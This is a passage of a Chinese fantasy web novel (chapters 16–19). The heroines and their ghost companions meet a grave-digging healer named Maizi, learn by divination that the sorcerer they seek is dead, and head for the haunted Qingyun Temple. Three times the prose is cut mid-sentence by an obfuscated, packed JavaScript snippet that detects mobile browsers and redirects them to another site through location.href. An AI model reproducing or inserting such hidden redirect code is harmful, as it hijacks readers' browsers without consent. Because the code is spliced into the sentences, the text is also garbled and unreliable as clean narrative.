芩竹看天看地,安静站着,也不是,她还抬着胳膊好让商则能跳到后面死尸的身上,干站着反正无聊,她看着姜绾的包袱,问道:“是不是快没了?” “嗯,”姜绾拽着包袱点点头,“没了还要买,可贵呢。” “你这些都是买的吗?”芩竹并没有窥探别人的爱好,因此这么久了,只知道姜绾包里叮叮当当的,但具体有什么还真不知道,现在这么说真是闲来无事,顺着她的话就问了。 姜绾摇头:“那些符是买的,但其他东西是村长婆婆留给我的,买不到。” 也是,那些东西上的灵光还真不是随便一个大师能附上的,大概也有流传下来的宝吧。 眼前这些死尸也差不多被两只鬼制得差不多了,芩竹想着姜绾刚才的话,问她:“把他们烧了,我再把符纸收回来?” 姜绾有些犹豫,这些人死时受苦,还不能入土为安,实在是有点于心不忍…… 芩竹听不见她心里的声音,只听见商则在后面叫她,头也没回向后伸手,立刻手上便感觉到一阵并不重的脚步,“哒哒哒”一路从手臂压到肩头,眼前便扇出一些符纸。 她抬手从他手里接过来还给姜绾,刚好那头桂枝也走了过来,听到她们说话,说道:“他们可能是从别处逃来的灾民,也是没办法。” 桂枝看着远处的一个小童大小的死尸,垂下眼睛,缓缓道:“他们这种诈尸是偶尔还是经常呢?” “不好说。”芩竹边说,边想去看看肩头上的布人,而刚转到一半,那头就闷闷发出声:“这次不是我。” 那便更没法说了……芩竹看着桂枝摇头。 闻言,姜绾烦躁地抓了一把头发:“那——咱们把他们埋了?” 话音还未落,前面几棵紧挨着的树后忽然响起一阵急促的踩雪声,“嘎吱嘎吱”显得慌乱,还夹杂着几道拖长的“沙沙”声。 几人皆是一愣,循声望去。天色阴沉,树影黑压压的,只依稀看的清站在那里的几道死尸黑影。 16. 埋尸女 姜绾还在愣神,芩竹最先反应过来,拉着她避开旁边脑门贴着符纸的一众死尸躲去树后,桂枝也忙不迭地跟上。几人躲好后,才悄悄探出半个脑袋看看是发生了什么。 只见不远处原本站得直挺挺的死尸忽然被什么东西击倒了,芩竹还着重看了下那尸体脑袋上的符纸,看上去还贴得稳当,收起想要回收符纸的想法。 姜绾不知道这人心中想法,只知道她肩膀忽然小小地起伏了下,背影瞧着颇为惋惜,姜绾摇摇头,继续扒着树,悄声道:“那是个……姑娘?” “反正不是僵尸。”商则挂在芩竹肩膀上附和着。 芩竹站得稍直了些好让商则不至于要抓着她的围兜防止掉下去,再抬眸时,那头的姑娘刚好从最紧凑的几棵树后奔出,跑得急了,宽大的披风兜帽被风从头上掀开来,侧扎的麻花辫随着步子在空中跳跃,那张和芩竹差不多年龄的脸蛋冻得通红,在看到这里的景象时显然懵了一瞬,惊诧地停下脚步。 可她身后跟着的那些肯定不会因为她的停顿而止住步子,那家伙紧随其后也跑出了阴影,芩竹看见,是两个死尸。 “后面!”“欸!” 芩竹和姜绾从树后喊出声,与此同时,那姑娘突然回身,宽大的黑色披风下猛地抡出一把大铁锨,跟甩巴掌似的将那两个死尸扇在地上。 芩竹,姜绾:…… 她们两个停住往出走的步子,默默对视了一眼,十分有默契地想要重新缩回树后,却在退步时看到对面的姑娘朝她们拉起弹弓松开手。 姜绾瞪大眼睛浑身一颤,芩竹盯着那姑娘的神情,忽然扣住姜绾的肩膀控制住她要乱动的身体。 咻—— 破风声迅速,紧接着便是重物倒地的声音。 “吓死我了,幸亏绾儿没乱动,”桂枝从旁边跑过来拍拍姜绾,叹道:“差一点就划到眼睛了。” 姜绾只感觉自己耳朵发麻,抖着手还在缓神。 芩竹松开手回头望去,被弹弓上的石块击倒的是个紧挨着姜绾的死尸,也不知道在那里静悄悄站了多久。 她十分自觉地从姜绾那里抽了张符贴在这个还企图站起来的死尸脸上,起身看向面前那个姑娘。 那姑娘也刚站起身,芩竹看见,她是将那两个死尸绑了起来。 这人穿着一身黑,厚重的披风下面是分不清样式的衣服,层层叠叠的,像是长衫短打随意套在一起,而且这身黑也非常的有层次,明显就是不同衣料缝在一块,或者也可以说,布丁上打了个衣服。 姑娘察觉到这边的视线,转身看过来,姜绾对上她的眼神,虽是气还没喘匀,却急忙道:“多谢姑娘救命之恩。” 黑衣姑娘原本板着的脸听见她说话后笑了下,这一笑倒显得亲切了些,说:“不谢。这些是你们做的吗?” 她指的是周围干站着的死尸。 不是很明白黑衣姑娘的意思是好还是坏,姜绾不敢随便回答,可她这边的顾虑在芩竹那里约等于无,听见问题后便答了“是”,这头姜绾不应也得应。 芩竹看着那姑娘手里的物件,问道:“你是?” “我啊,”黑衣姑娘低头看了眼那把锨,“给他们挖个坑。” 她这话说完,这头几人不约而同的想到了刚才那脏乱的雪地。敢情是这个原因…… 桂枝还扶着姜绾,一下一下搓着她的胳膊,小心地问:“姑娘,那你可知道这些,嗯——人,是突然变成这样的吗?” 黑衣姑娘把铁锨换了个姿势插进雪地里,胸口起伏一下呼出长长一串白气,左右手互相搓了搓,扭头看着周围的死尸:“我也不清楚,但这些东西按理说埋进地里就没动静了,你们碰见的可能是周围一些我还没发现的。咳咳,点背了点。” 她吸了吸鼻子,拔了铁锨看过来时刚好看见芩竹那一身单薄的衣裳,见鬼似的多看了两眼,然后似乎是轻轻咂了咂舌,拎着身后那两个被她绑住的死尸转身欲走,走之前想到什么又说:“你们这手法也算帮了我个大忙,多谢。如今世道这般,你们三个快些进城吧。” 芩竹道:“不急,我帮你。” 这句话不止是那黑衣姑娘,连姜绾都吃了一惊,无他,因为这实在不太像是芩竹这种冷淡性子能主动说出的话。而且最主要的是,她说话还真是一个“们”字都不带啊! 姜绾大眼睛瞪了瞪芩竹,扭头朝那姑娘说:“还有我和桂枝姑姑。” 然而她们这一番慷慨陈词并没有引起那位黑衣姑娘的感激道谢,反而连那仅剩的一点笑意也给霍霍没了。 “不必了。”黑衣姑娘留下这句话后便走,毫不拖沓。 姜绾大概能想到这姑娘的心理,无非是觉得她们无事献殷勤,有些戒备很正常。她便想着给芩竹说声,以免打击到这位姐姐好不容易主动一次的自信。 结果自己刚要转头说话,那人已经前进两步又要开口,姜绾一脸震惊,同行一路啊,怎么没见她对自己这么上心?! 芩竹可不知道姜绾短时间里内心嘀咕这么多,她只记着自己的话,跟了那姑娘两步扬声道:“实在不愿帮忙的话,可否等姑娘忙完将那死尸脸上的符纸还给我,那东西还挺贵的。” 黑衣姑娘,姜绾:…… 好像有呼呼的寒风从这些罚站的死尸中间穿过来,滑稽非常。 桂枝没忍住笑出声,和姜绾耳语:“让你天天操心钱财,芩儿记心里了。” 商则在外人面前是被勒令装死的,此时看着芩竹一本正经说出这话的样子,有种果然如此的欣慰从心头涌出,自己都被这奇异的感觉吓了一跳,抓紧围兜忍住不说。 而那黑衣姑娘则是在短暂的错愕后笑叹道:“行,那你还是搭把手吧。” 最后到底不只是搭把手那么简单,桂枝抛开不提,另外两人大冬天的忙出了一身细汗,这会停下来汗被冷风吹过,顿时就是几个喷嚏。 “哎呦,快擦擦汗,这日子可千万不敢病了。”桂枝话还在路上,袖子已经帮姜绾擦了大半了,再转头去看芩竹,这孩子只有最开始吸了吸鼻涕,现在倒是没有半点不适的样子。 芩竹注意到桂枝的眼神,把手上那一叠回收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562358|142769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的符纸递给她:“我不冷。”还顺手把耳后不知道在忙什么的商则抓在手里。 兴许是不经意,她还在手里轻轻捏了两下。一下把原本挣扎的商则捏得僵住了身子。 那头的黑衣姑娘填上最后一捧土,转身看到这边的景象,突然笑了笑,从衣服里翻找一会,掏出个东西丢给芩竹,说:“忙也帮了,多谢几位,我就先走了。” “再会啊!”姜绾晃晃从脑袋上垂下来的飘带,拉着桂枝凑到芩竹身边看那姑娘给了什么东西。 仔细一看,是块姜。 芩竹把姜随手给了桂枝,听那人接过去说:“来啃一口取取暖。” “啥?”姜绾闭着嘴摆手,一手拽一个打头走,“快赶路吧!” 叶城县不大不小,是辰州最靠山的城,这山隔开了辰州向东的峡州,名叫岑山,而北岑南常连在一起便是合青山。 芩竹对这些了解甚少,还是姜绾给她说了才知道自己从陵南开始一路向西又不知从什么时候开始绕了回头路,这才误打误撞跑到了邵州。 酉时日落,天色昏暗,她们终于紧赶慢赶进了城,姜绾先带人去了自己经常支摊的地方,意料之中的,那处早已空空荡荡,然后又领着她们去了自己那间小茅草屋。 姜绾这屋子据说是一个老婆婆低价送出的,那婆婆全家不知要移去哪里,看姜绾孤身一人便当做了个好事。屋子本就破小,姜绾又在外面晃荡了好几个月,芩竹她们一进来就被灰尘揍了一顿。 芩竹扇着鼻子前的灰,顺着这屋子转了一圈,说:“话说那术士竟然没过来砸了你的家。” 姜绾闻言顿了下,是啊,当时听闻那位同行不只性命丢了,就连家中也是被破坏的一团糟,那作为不像是术士,反倒像个强盗。 桂枝从门外进来,门打开合上,顿时又是一阵寒风灌进来,她拍拍手上的灰,叹道:“本想收拾收拾,但外面扫帚冻住了,而且这被褥和木板一样,睡不成。” 这一趟来辰州,目的就是找那术士,这会没有线索,也只能先歇歇再做打算。 想着家中一些东西不扔还能换点钱财,芩竹便和她们一起翻翻找找,然后在柜子地下拖出了个盒子,拿走上面的几个老旧的布袋,不知道碰到了哪里搓开了个暗格,漏出里面的一个布包,比上面那些包得整齐些,芩竹便举着它扬声道:“这些东西要拿吗?” 姜绾看见那盒子十分无奈,感叹道:“你不去做贼真是可惜了。” 然后走过来拆了那布包一角,漏出里面的银票说:“这是那术士给的钱,我没办成事平白无故拿了这么多钱心里不太安稳,走之前就留在这了。” 芩竹对那布包盯了一会,忽然道:“这是那术士给你的,那岂不也算是他的东西。” “嗯……算吧。”姜绾愣愣道。 “所以,你也能拿这东西算那人的去向。”芩竹肩头那个小布人缓缓接上话头。 姜绾心惊胆战地逃了许久,意识到还能反向追人,竟然有种恍然大悟的感觉。 对啊,不止他能找我,我也能找他! 17. 埋尸女 “我怎么觉得有点心慌呢?” 叶城县的一个小小客栈里,姜绾,桂枝还有芩竹裹着被子在床上盘腿对坐着,三人中间摆着那个装银票的布包,而在芩竹盘着的腿上,有个灰布人正想要抬起小手去扒拉一下,被芩竹伸出一根手指按下去。 她向姜绾抬了抬眉头,说:“别怕,你在他那里算是干成了一件事,他如果找来了刚好还能给你那百两银子。” 姜绾吞咽了下,不去听她说话了,将手里攥了许久的三枚铜钱拿出来,摇摇再松开,另一只手拇指掐算,闭着眼口中默念。 这架势明显就和芩竹那花架子不一样,她抬眼认真看着姜绾的动作,正看得仔细,腿面上那个布人忽然在她手心里转了一圈面向她,似有话要说。 她便顺势垂眼,就听那圆鼓鼓的脑袋里飘出道清润的男声,应该是顾忌那头的占卜,他音量压得低了些,比平时少了些少年气,倒真有点红衣鬼的感觉,就是—— “你是要学她的模样以后也去行骗吗?” 就是这话说的不甚好听。 芩竹本是两只手捧着这小布人,听后没急着回答,只是将一只手默默向上移了移,食指拇指刚好圈在布人的脖子上——不,圆脑袋下面,然后收紧。 商则灵体附在布人上,这便相当于他的肉身,感觉牵系的不大但也总归是有的,而且不知为何,芩竹对他的制约好像格外强,不过是两根手指,却像真是一双手扣在他喉咙上,逐渐收紧力道。 他暗暗急喘了下,伸出两只短手去掰脑袋下面的手指,嘴上装作无事道:“错了。” 芩竹听见了,非常爽快地松开了手指,看见商则弯着腰不知道在做什么,还以为是自己不小心把他脑袋拧断了,于是将布人举到面前,拿食指将脑袋戳起来问了句。 “没事。”商则晃了下头。 听到回答后,芩竹收回手,继续看姜绾动作,而她手里的布人则是自己在手心里找了个位置坐着,安静下来。 桂枝看看芩竹两人的动作悄声笑了下,又看回姜绾,这边合着眼的表情就不那么轻松了。她难免担心了些,等姜绾收起动作后便问:“怎么还出汗了呢?” 芩竹也看见了她那奇怪的反应,还以为是对方的道法高深算不得,就想说算了,可还不等她开口,姜绾就又将那铜钱重新撒了出去。 说不得了。芩竹只好闭嘴,静静等了一会,那头终于完事,她才找到机会插话:“不行就算了……” “不是的,”姜绾神情变得有些不可置信,盯着那包银票,又看了看自己的手,后抬头看向芩竹,“那个术士,好像死了。” 周围沉默一瞬,芩竹眨眨眼,指着那包银票缓缓道:“也就是说,这钱花着不亏心了?” “……” 姜绾本来莫名发慌的心突然漏跳了一拍,然后诡异的趋于平静,她万分无语道:“你要找的人死了,怎么一点不担心啊。” “那家伙一听就不是善类,来找她不知会有什么麻烦,死了难道不应该开心,来的哪门子‘担心’。”商则在芩竹手心里幽幽道。 “就你话多,那芩竹要找的东西也没处找了啊!”姜绾对呛一嘴后,突然听到一道小小声的嗤笑,拧眉正要再口头教育点什么,就看半大点的布人在芩竹的手心里翻了个面蹭了两下不动了,给她留下个极其嘲讽的背影。 好啊,好啊,姜绾深呼吸两下,指着他道:“芩竹,你这布娃娃骂我。” 芩竹:? 桂枝:笑笑不语。 姜绾反正就看那灰不拉几的背影不顺眼,收了床上的东西一翻身滚去床铺里面闷声道:“睡了睡了。” 芩竹顶着张莫名其妙的脸实在不知道发生了什么,而她有限的好奇心也不支撑她去细细探究,长臂一甩将商则丢去了对面桌上,躺下睡觉。 还是秒睡。 等再睁眼,自己灵魂还没醒透,就被身后姜绾巨大的动静挤到一边去了,等姜绾跳下床,她又调整好角度继续闭眼,睡意朦胧时听姜绾和桂枝问她想吃什么。 回答了什么忘记了,反正等再次醒后,那俩人正在桌上说说笑笑,看见她,又两张笑脸转过来笑骂着喊她吃饭。 “术士暂时没有线索,我和桂枝姑姑说了一下,咱们先去一趟城外的青云寺行吗?”姜绾啃着手里的包子,等芩竹洗漱时问她。 这本是之前说好的,芩竹没问题,坐过来吃着吃着忽然想到什么,问:“商则呢?” 姜绾:“哦,我把他关门外了。” 芩竹:啊…… 青云寺还是姜绾初到叶城县时知道的寺,大约一年前,那时候寺庙香火还算不错,就是之前并不了解这寺庙的位置,此番要去还得提前问个路。 几人吃过饭出门,此处人多未免生出事端,桂枝提前躲进了葫芦,商则被芩竹别在腰带装死。 剩下芩竹两人在客栈找了个店小二问路,那人本来听见芩竹她们搭话格外恭敬,可一听是在打听青云寺后,态度急转直下,慌忙便走不说,那神情看着都像是见了什么忌讳。 留下两个人在风中凌乱。 本以为是那店小二一个人的缘故,可后面接连寻了几个路人都是如此,芩竹也有些纳闷了,究竟姜绾不在的这些日子那青云寺是出了什么变故? 临近中午,两人都还没有获得什么有效的线索,耳朵里尽是些慌乱的“不知道”,还有呼呼的西北风。 芩竹抹了把睫毛上挂着的雪,从风雪里艰难睁着眼,叹出的白气还未在面前成一串就被大风刮散了,她在这天里竟然难得的感觉到有些冷,吸了下发麻的鼻子,转头看去,姜绾早就冻得和筛子似的,抱着自己那包身家性命哆嗦。 她把脖颈间的围兜向下巴上攒了攒,将商则从腰带里抽出来按在肩头,四处看了看想着还是先回去取取暖,刚要拦过姜绾,余光忽然看见一抹黑。 她顿了下,顺着那颜色看过去,瞄到一个熟悉的披风背影。 这是…… 那背影应该是出来扔了些什么,走进一个小院转身关门时抬头,刚好和看过去的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13567369|142769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芩竹对上视线。 四目相对,芩竹在对方眼里看到了小小的惊讶。 姜绾感受到芩竹半天不动,扭头看了她一眼,见她正望着一处,顺着视线看过去,也是一愣,惊喜道:“是你啊,又见面了啊。”话音还打着颤。 芩竹紧了紧姜绾的胳膊,向那里的黑衣姑娘颔首当做打招呼,准备先带怀里这快冻死的人回客栈回回血。 刚抬步,不远处的院门发出“吱吖”一声,寒风中夹着道不太大的女声:“进来坐坐吧。” 回眼望去,那黑衣姑娘站在门一侧,朝她们招了招手。 芩竹看看姜绾,道:“多谢。” 黑衣姑娘的院子比起姜绾之前那院子大了些,但也就是一些,房子旁边还有个算不上偏室的小隔间,里面摆了个小桌子,架子上放着些袋子,看不出来是什么,但闻着,应该是药材。 芩竹只是路过时匆匆看了一眼,便随人进了大屋。 屋里面东西也少的可怜,够着生活。一进去显眼的地方摆了张床,而侧边又竖起道说不上是矮墙还是隔板的东西,将屋分成了两部分。 这里大概不止这位姑娘一个人住。 “我叫麦子,”黑衣姑娘端了碗姜汤递给姜绾,然后坐到这张小桌对面,看向芩竹,说,“我觉得你也看出来了,我这还是个医馆。如果有谁病了记得让他来我这,就当抵了这碗汤了。” 麦子边说边向捧着汤水捂手的姜绾努了努嘴,直把人搞得喝也不是不喝也不是,半晌才扯出干笑把头埋进碗里。 看她还是乖乖喝了,麦子似是淡淡笑了下,眼神扫过芩竹两人后,不经意地问了声:“那位大娘呢?” “她——” “她在客栈没跟过来。” 芩竹刚开口,那话便被姜绾从吞咽的动作里急速抢了过来,被抢的人顿顿,末了“嗯”了声。 麦子看着她们这活似心里有鬼的样子也不再追问,点点头道:“行,那你们喝完也赶紧回去吧,这雪大概要下到半夜。” 一听还要下这么久,姜绾苦哈哈地嘀咕:“这么久,那怎么去青云寺啊……” “青云寺?”好像是怕自己听错了,麦子皱着眉又重复了一遍。 芩竹点头应了声,还补上一句:“我们不认路,可问了一路都没人愿意提这座寺。” 麦子这回笑意更明显了,嘲笑的嘴角勾了勾,摇摇头道:“我说你们真是不同寻常,本来倒霉就算了,怎么去的地方也是这般奇特。” “如何奇特?我们想超度一人,来到这里自然是想寻寺庙啊?”芩竹并不会对她的话生出些别样的情绪,照常平静问话。 麦子盯着她们二人看了一会,没去问这两人光带着自己跑去超度谁,敲着桌子说:“就是说青云寺闹鬼,你说是不是很奇特?” 呼——窗户应当没有扣紧,被一阵风吹开了,窗框拍在墙上发出“啪”的一声脆响,姜绾抖了下,悻悻放下碗,蹙眉看着面无表情的麦子起身关好窗户。 屋里又暖回来。 18. 青云寺 好好的怎么又闹鬼…… 起码在姜绾走之前这件事应该还没有发生,中间隔了几个月。 芩竹瞥了眼说完话神态自若的麦子,看着不像在撒谎,单纯就是觉得她们要去送死的无言嘲讽。 “能给我们讲讲是怎么一回事吗?”芩竹问。 麦子对芩竹两人还算得上友好,虽然感觉多少有些不耐烦,但还是为她们解惑。 之前的青云寺的确如姜绾所说那般,香火旺盛,尽管现在人们日子过的不好,可碍于那阴器的传闻,多少也会有些人前去祈福,但近来这一个月却是出了事。 城中有户人家,家境不错,也是每月上山去青云寺的常客,今年家中刚添了一子嗣,因而还愿更勤。然就是这户人家,这个月刚从青云寺回来的夫人忽然得了一种奇怪的病,面色红润呼吸平稳,就跟睡着似的却无论如何都叫不醒。 在这之后,城中又发现了更多类似的例子,官府一查,这些人都是曾经去过青云寺的,这说法搞得百姓惶惶不安。怕是什么妖邪作祟,官府也带着一些驱鬼捉妖的大家登过青云寺,可都一无所获,反而那之中的一位官差,竟也患上了这奇怪的“病症”。 从此青云寺便没了往日的热闹,甚至说得上是破败。 在这之后又一日,有人上山砍柴时路过寺庙,竟听里面人声依旧,且诵经声阵阵。砍柴人忍不住好奇趴着庙门瞅了一眼,别说香客,那寺庙中空空荡荡,只有院中一地的枯叶和躺在正中的一把扫帚。 “听人家说,那砍柴人回来就疯魔了,幸亏救治及时,不然可能一辈子便痴痴傻傻着了。”麦子讲故事的音调都没有抑扬顿挫,就是一板一眼告诉给你,可就这般讲完,配着屋外呜呜冷风,姜绾竟然长了一身鸡皮疙瘩。 她把那碗快冷了的姜汤一口气喝掉,龇牙咧嘴地叹了一声,想要用冷风缓解一下嗓子眼姜味的辛辣,咂了咂嘴感叹刚才的故事:“那位砍柴人胆子也怪大的哈……” 麦子从她面前将那碗拿过来,哼笑道:“谁说不是呢,就和你们一样。” 姜绾:…… “那些睡不醒的人呢,现在如何了?”芩竹问。 “就那样,睡着睡着便饿死了呗。”麦子又给自己盛了一碗喝着。 芩竹看着她,突然改了个话题:“怎么没有我的呢?” 麦子愣了下,鬓边漏扎的一缕发丝晃得飘了下,笑出声音,这倒真是忍俊不禁:“你不是不冷吗,这汤可宝贝了,能省则省。” 说这话芩竹就懂了,继续道:“寺庙那传闻,十成可信?” 姜绾抱着膝盖在底下偷偷扯了下芩竹的衣角,小声道:“你不会又要去吧?这座寺不行咱换一个呗?” “我想去看看,要实在没法子便走。”芩竹也学她的声量垂头回答。 “我说你这人怎么总是在不该热心的道上这么积极呢?!”姜绾用气声控诉她。 两人端的是耳语的状态,可惜屋子就这么大点,桌子就这么大点,坐在对面的麦子只要不聋,安静下来便都听了个全。 麦子端碗喝汤的动作停住,一双眼睛在芩竹和姜绾的身上走了一遍,最终搁下碗出声打断面前两人一来一回毫无意义的对话。 “可信八成。” 芩竹转过头,看着麦子明显正经的样子,琢磨着她刚才的话,试探道:“那两成是……” “我去过青云寺上香,但没有事,之前还有一位大娘也去过,那日撞见,她也还好着,”麦子道,“虽说两成仅凭两人有夸大的嫌疑,可我觉得,应当不止,或压根不是青云寺的问题。” 姜绾听着麦子如此郑重向她们说这件事,突然想到了她偏室的药房。或许之前,麦子也为这些人的“病症”下了不少功夫。 “我看你们之前用的法子很像那些术士,如果真能发现有什么不对的地方可以解决的话,想去青云寺,我带你们去。”麦子说。 芩竹:“我去。” 姜绾皱眉:“你怎么又不带我。我也去。” 芩竹疑惑:“你不是怕吗?” 姜绾不愿回答,继续搓着膝盖,抖了抖身子又看向麦子说:“咱们何时走?” 麦子此时正站在一个柜子面前收拾东西,闻言随口答道:“过一会。” “啊?”姜绾愣住,她转头去看窗外,本想是看看外头的雪,结果门窗紧闭看了个空,于是扯了扯嘴角不安道,“你不是说那雪得下到半夜吗,这么大的雪上山不会有危险吗?” 芩竹也跟着看向麦子,看那宽大的黑色披风似乎是颤了颤,然后一道爽朗笑声传来,麦子叉腰笑着回身看来:“我想让你们赶紧走,胡说的。” 姜绾憋着嘴使劲绕着自己头发垂下来的飘带,不服气地哼了声。芩竹没什么反应,谁叫她体会不到被耍了之后不爽的情绪。 待麦子收拾好东西,三人很快上路。 打开门,外面寒风依旧,天阴沉沉的,但雪是真的小了许多,总归不会迷了视线。 从麦子家出来还不到午时,听她说,只是去青云寺看一眼的话,一去一回,脚程快些刚好能让她们赶在城门关闭前回来。 路上几人也不敢耽误,专心赶路,可出了城往山路走,天色不好环境寂寥,只留呼呼风声和沙沙踩地声老让姜绾想起前一日的死尸,闭嘴了大半路还是忍不住了,开口搭话。 “小麦姐姐,你收这包袱是什么啊,是不是怕我们回不去还能在外凑活一下?” “妹妹,你这话说的太不吉利了点。”麦子一点不给姜绾的玩笑留情面。 芩竹则以为她们只是在友好的沟通和解释,便没有说话,安静听着。 看见姜绾表情又皱成一团,麦子笑了下,可能是山路走得有些累,她迈出一步后,长长出了一口气,重新整理了下表情,说:“这东西是给我弟弟的。” 弟弟?所以那隔开的两间屋子,分别是她还有她弟弟的。芩竹想着,侧头看了眼麦子。 “把你们带到,我还得顺着山路再往后走走,给我弟弟送东西。” “你弟弟在外做工吗,可这荒郊野岭的……是修什么?”姜绾问。 麦子摇头,语气带着些忧愁:“我也不知道。” “他出门多久了?”芩竹搭话。 麦子垂头走着,闻言想了想,说,一年前吧。 这事情在她心中像是一块久不翻动的石头,被芩竹她们翘起一角后,底下那潮湿的泥土和土下的幼苗闻到新鲜的空气,便忍不住有想要冒头的冲动。 她抿了抿嘴,叹道:“前些年皇帝要修寺庙,城中有不少男丁被征去,还给家中做补贴,多是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575791|142769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回来了。小七当时也是这么想的……” 小七便是麦子的弟弟。听她说,那会是初春,染病的不少,一些没钱看病的只能来找他们医馆讨些过了几遍水的药底喝,麦子和小七也能帮则帮,可这般下场就是自己已然入不敷出,下锅的米都没了。 恰好那时,有一队人来叶城县征集人手,要的人也不算多,小七就是里面的一员。他回来就将这个消息告诉了麦子,还捧给了她一袋银子。 麦子心里总觉得不妥,想要去见见那群人,小七只道无事,说那些人服饰上的图案是国师的标记,没有关系,再就是嘱咐了两句之后要去哪里找他,就从匆匆赶出门了。 “他走的太急了,我那时候追出去也只看到一群人的背影,他挤在里面找都找不到,前面打头那人的帷帽都比他来的印象深刻。”麦子自嘲地笑笑。 “怎么就能确定那些是国师的人呢?”芩竹说,而且那个帷帽……实在不是她多想,而是在叶城县,又是自己要找的人,难免会把这顶帷帽和姜绾口中那个带帷帽的术士联系在一起。 不过她也没有说出来,总觉得无端扰了人家思绪,听着麦子回答她刚才的问题:“说他师父早年去京城给哪个达官贵人治过病,无意中见过的。” 具体什么师父,什么贵人,再要问下去,便就有些不太礼貌了。 芩竹也没有那个心,听过算过,干巴巴说了句“想些好的”也没法再说出什么好话了。 麦子淡淡笑了下,没当回事,几人继续赶路。 不多时,山路绕尽,拨开挡在前面的大把枯枝,“咔吧咔吧”的响声过后,是一条盖着厚雪看不出样子的石阶,向上拐了个弯,隐进一旁的树后不知又是多长。 芩竹扭头看了眼姜绾,示意她走在自己和麦子中间,自己跟在最后面,等前面两位小心踩在台阶上时,忽然听见姜绾拧着眉毛如临大敌地转过来看她:“芩竹,我听见了。” 没头没尾说一句这样的话,芩竹自然是不懂,在姜绾拘谨的动作下也踏上了第一节台阶。 顿时,一道钟声好似在脑中里砸响,声音由近及远,晃晃荡荡的缠着石阶拐去了她们看不到的地方,还不等她抬头望一眼,那看不到的远处又传来嗡嗡嗡仿佛裹着水膜一样的诵经声,顷刻间,密密麻麻的鸡皮疙瘩爬了芩竹满身,而和那声音同时响起的,还有一阵突兀的敲击声——笃,笃,笃。 多么熟悉又许久不见的声音,姜绾刚想吐槽一下那货又是犯了什么病,就看见芩竹突然一把将自己肩头的布人扯了下来。 的确是扯,因为姜绾在看的时候,商则的两只短手还死活拽着芩竹的围兜不撒手,以至于扯下来后,芩竹围兜都散开了些。 芩竹刚刚分给那闹鬼青云寺的心现在全被这手里发疯的布人搅和没了。 她看着不住发颤的布人抖了抖,喊了几声没有反应,布人的手反而自己卡住了自己的脖子,另一只手不断地在脑袋上拍着。 活像自残。 虽说就按这小手为零的杀伤力商则应该是没什么事的,可怕就怕万一,芩竹直接伸手隔开布人的短手,捏住他的身子,另一只手又抓住他的脑袋问:“怎么了?” 这边还没有说话,又是一道奇怪的嗡鸣震响,芩竹抬眼一看,竟然是姜绾怀里装着桂枝的葫芦发出的。 19. 青云寺 看这一个对着布人,一个对着葫芦说话的架势,麦子再不问点什么都有对不起她们。问后得知这俩物件里分别住了只鬼后,麦子左右看看,又抬头看了看那传闻闹鬼的青云寺,竟然觉得接受良好,默默住嘴了。 商则本来难受得要死,听见芩竹十分顺畅的介绍他是一只鬼,尽管整个灵体涨得快要炸掉,也还是艰难地掰着芩竹的手撕扯嗓子道:“我不是——” 好嘛,布人说话了,麦子木着表情转过了身,决定等她们先解决自己的事情。 懵了半天终于有点回应,结果就是为了澄清一下自己的身份,芩竹也无话可说了,抓着他身子的手微微用力,企图拉回他的注意力,问:“你们怎么了?” 想来芩竹耐冷一绝,估计是因为她本人就冷,四周寒风夹着小雪粒扑在商则身上,都没这冷淡的几个字效用来的大。他原本被那乱糟糟的经文念出的躁动都被莫名安抚下来。 可那些声音还在继续,出口的每个符号都像大片的虫爬在商则的灵体上,这感觉和在王宅被铜针钉住的感觉不一样,一个是将他困住,一个似乎是在侵扰他的精神,不停地想让他做些什么。 商则从芩竹的手心挣扎两下,仰着头看向她:“他们念错了——那座寺庙。” 他的声音很小,加上山间小路灌进来的风涌在耳边,更是将他的声音盖得不剩什么,芩竹努力地没听到,将他放在脸侧才听见清内容,还有后面新加的一句:“没事,葫芦里那个也没事,只不过就是……” 后面的话被商则省略了下,但芩竹看着他的样子,大概也能猜到,无非就是有些难熬。 一般经文听了不说清心醒神,听后也是心旷神怡一片开朗,但这个在商则口中却和引出心底恶念没差,使人心生烦躁。 而且她腰间碎块又是如此动静……看来这寺是非去不可了。 芩竹心想着,将刚才商则说的转告给另外两人,又问了问桂枝,那头比商则还严重些,已经不愿开口了。她想了想,征得姜绾同意后,让那人用符纸把葫芦缠了一圈,里面状态才好转。 就是可惜了,商则这样的,没法缠。 几人又向上走,拐过了第一个弯,看见了高出石阶尽头,隐在树影中落了白雪的黑瓦灰墙。而这弯过后,那宛若百十号僧人同念的经文也清晰了起来。 姜绾“诶呦”了一声,使劲跺了跺脚,拽紧了肩上的包袱,发了声牢骚:“听得头都大了!”这种感觉麦子也有,但到底影响不如两个阴气很重的灵体,所以忍忍也就过去了。 